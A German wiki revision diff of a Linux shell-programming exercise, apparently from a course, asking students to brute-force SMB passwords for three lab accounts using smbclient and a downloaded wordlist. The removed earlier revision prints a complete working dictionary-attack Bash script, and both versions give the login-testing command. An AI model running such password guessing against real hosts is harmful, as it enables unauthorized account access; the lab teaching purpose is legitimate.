Aufgaben Linux - Shell Programmierung (Bash): Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=Samba Password Brute-Force Aufgabe=
 
=Samba Password Brute-Force Aufgabe=
* Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden.
+
* Nur in einer autorisierten Laborumgebung ausführen.
* Voraussetzungen:
+
* Mit dem Programm smbclient kann man einen Login auf einem Windows-/Samba-Rechner testen.
** Auf dem Arbeitsrechner sind wget und smbclient installiert.
+
* Installiere auf dem Arbeitsrechner smbclient.
** Wortliste herunterladen:
+
* Der Befehl '''smbclient -U uwe%geheim -L windows-rechner > /dev/null''' liefert als Exit-Status '''0''' wenn der Login erfolgreich war.
 +
* Lade die Passwortliste herunter:
 
wget https://xinux.de/downloads/bad-passwords
 
wget https://xinux.de/downloads/bad-passwords
* Die Ziel-IP gibt der Dozent vor.
+
* Schreibe nun ein Shell-Script namens '''smb-passwd.sh''', das für die vom Dozenten vorgegebene IP die Passwörter für die folgenden Nutzer findet:
* Aufgabe:
+
** Christine
** Erstelle die Datei smb-passwd.sh, mache sie ausführbar und teste die drei Benutzer: Christine, Martina, Klaus
+
** Martina
** Das Script soll:
+
** Klaus
*** drei Positionsparameter akzeptieren: <samba-host> <user> <pwlist-file>
+
* Anforderungen an das Script:
*** die Passwortdatei zeilenweise lesen
+
** Nimmt drei Positionsparameter: '''<samba-host> <user> <pwlist-file>'''
*** für jede Zeile folgendes ausführen: smbclient -U user%pass -L host > /dev/null 2>&1
+
** Liest die Passwortdatei zeilenweise
*** bei erfolgreichem Login exakt ausgeben: Das Password von <user> lautet <pass> und sofort terminieren
+
** Testet für jede Zeile: '''smbclient -U user%pass -L host > /dev/null 2>&1'''
* Erwartete Ausgabe (Format muss exakt so sein):
+
** Bei erfolgreichem Login gibt das Script exakt aus: '''Das Password von <user> lautet <pass>''' und terminiert sofort
Das Password von <user> lautet <pass>
+
* Erwartetes Ausführungsbeispiel (Format der Ausgabe):
* Skript (in eine Datei smb-passwd.sh kopieren):
 
#!/bin/bash
 
HOST="$1"
 
USER="$2"
 
PWLIST="$3"
 
if [ -z "$HOST" ] || [ -z "$USER" ] || [ -z "$PWLIST" ]; then
 
  echo "Usage: $0 <samba-host> <user> <pwlist-file>"
 
  exit 2
 
fi
 
if [ ! -r "$PWLIST" ]; then
 
  echo "Password list not found or not readable: $PWLIST"
 
  exit 3
 
fi
 
while IFS= read -r PASS; do
 
  if smbclient -U "$USER%$PASS" -L "$HOST" > /dev/null 2>&1; then
 
    echo "Das Password von $USER lautet $PASS"
 
    exit 0
 
  fi
 
done < "$PWLIST"
 
exit 1
 
* Beispielablauf:
 
 
chmod +x smb-passwd.sh
 
chmod +x smb-passwd.sh
wget https://xinux.de/downloads/bad-passwords
+
./smb-passwd.sh <IP> uwe bad-passwords
./smb-passwd.sh 10.0.10.123 martina bad-passwords
+
Ausgabe:
* Abgabe:
+
Das Password von uwe lautet geheim
** smb-passwd.sh
+
* Abgabe: smb-passwd.sh, Nachweis des Downloads (z. B. wget-Befehl) und Terminal-Transkript mit den drei gefundenen Zeilen.
** Nachweis, dass bad-passwords heruntergeladen wurde
 
** Terminal-Transkript mit den drei gefundenen Zeilen
 

Version vom 6. November 2025, 18:33 Uhr

Samba Password Brute-Force Aufgabe

  • Nur in einer autorisierten Laborumgebung ausführen.
  • Mit dem Programm smbclient kann man einen Login auf einem Windows-/Samba-Rechner testen.
  • Installiere auf dem Arbeitsrechner smbclient.
  • Der Befehl smbclient -U uwe%geheim -L windows-rechner > /dev/null liefert als Exit-Status 0 wenn der Login erfolgreich war.
  • Lade die Passwortliste herunter:

wget https://xinux.de/downloads/bad-passwords

  • Schreibe nun ein Shell-Script namens smb-passwd.sh, das für die vom Dozenten vorgegebene IP die Passwörter für die folgenden Nutzer findet:
    • Christine
    • Martina
    • Klaus
  • Anforderungen an das Script:
    • Nimmt drei Positionsparameter: <samba-host> <user> <pwlist-file>
    • Liest die Passwortdatei zeilenweise
    • Testet für jede Zeile: smbclient -U user%pass -L host > /dev/null 2>&1
    • Bei erfolgreichem Login gibt das Script exakt aus: Das Password von <user> lautet <pass> und terminiert sofort
  • Erwartetes Ausführungsbeispiel (Format der Ausgabe):

chmod +x smb-passwd.sh ./smb-passwd.sh <IP> uwe bad-passwords Ausgabe: Das Password von uwe lautet geheim

  • Abgabe: smb-passwd.sh, Nachweis des Downloads (z. B. wget-Befehl) und Terminal-Transkript mit den drei gefundenen Zeilen.